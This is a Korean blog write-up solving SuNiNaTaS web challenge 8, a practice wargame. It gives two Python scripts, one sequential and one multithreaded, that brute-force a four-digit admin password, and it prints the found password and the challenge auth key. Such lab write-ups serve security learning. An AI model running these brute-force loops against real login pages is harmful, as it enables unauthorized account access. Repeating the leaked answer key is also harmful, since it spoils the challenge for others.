반응형
http://suninatas.com/challenge/web08/web08.asp
힌트를 보아하니 0~9999까지인 비밀번호 중 비밀번호를 찾아 로그인하면 인증키가 보이는 문제인 것 같다.
0~9999이므로, brute force 공격을 통해 비밀번호를 알아내보자.
DVWA brute force 에서 사용했던 코드를 조금 변형시켜서 아래와 같이 작성하였다.
비밀번호가 7천번대라 문제가 발생하진 않았지만, 아래 코드는 0000~9999까지를 입력하는 코드라 앞 부분 범위에 약간 문제가 있긴 하다.
import requests
import time
URL="http://suninatas.com/challenge/web08/web08.asp"
params = {'id':'admin',
'pw':''}
start = time.time()
for pw1 in range(10):
print('{}000'.format(pw1))
for pw2 in range(10):
for pw3 in range(10):
for pw4 in range(10):
password = ''
password += chr(pw1 + 48) #ascii '0' is 48
password += chr(pw2 + 48)
password += chr(pw3 + 48)
password += chr(pw4 + 48)
#print(password)
params['pw'] = password
res = requests.get(URL, params=params)
if "Password Incorrect!" not in res.text:
print("Password found!:{}".format(password))
end = time.time()
print(end - start)
break
실행결과
7707을 입력해보면 위와 같이 인증키가 나타난다.
Authkey : l3ruteforce P@ssword
결과창을 보면 알겠지만, 비밀번호를 찾는데 2분 30초 가량 걸렸는데, 아래 블로그에서는 멀티프로세싱 방식으로 코드를 작성할 수 있는 방법을 알려준다.
https://ykarma1996.tistory.com/47
블로그를 참고해서 작성한 코드 및 결과는 아래와 같다.
import requests
import time
from concurrent.futures import ThreadPoolExecutor
URL="http://suninatas.com/challenge/web08/web08.asp"
start = time.time()
print ("\n\nSearching Pass : 0 ~ 9999")
def part(num, URL) :
print((num-1)*2000, num*2000)
for i in range((num-1)*2000, num*2000):
params={
"id":"admin",
"pw":i
}
res=requests.post(URL, params=params)
if "Password Incorrect!" not in res.text:
print("Password found!:{}".format(i))
end = time.time()
print(end - start)
break
end = time.time()
print('end function{} : {}'.format(num, end - start))
with ThreadPoolExecutor(max_workers=5) as executor:
p1=executor.submit(part, 1, URL)
p1=executor.submit(part, 2, URL)
p1=executor.submit(part, 3, URL)
p1=executor.submit(part, 4, URL)
p1=executor.submit(part, 5, URL)
두번째 줄 및 함수가 끝난 시간을 보면, 멀티 프로세싱 방식을 통해 함수가 실행되고 있음을 짐작할 수 있다.
반응형
'해킹 > suninatas (써니나타스)' 카테고리의 다른 글
써니나타스 웹 23번 풀이(작성중) (0) | 2022.06.05 |
---|---|
써니나타스 웹 22번 풀이(작성중) (0) | 2022.06.04 |
써니나타스 웹 7번 풀이 (0) | 2022.06.02 |
써니나타스 웹 6번 풀이 (0) | 2022.06.01 |
써니나타스 웹 4번 풀이(작성중 (0) | 2022.05.17 |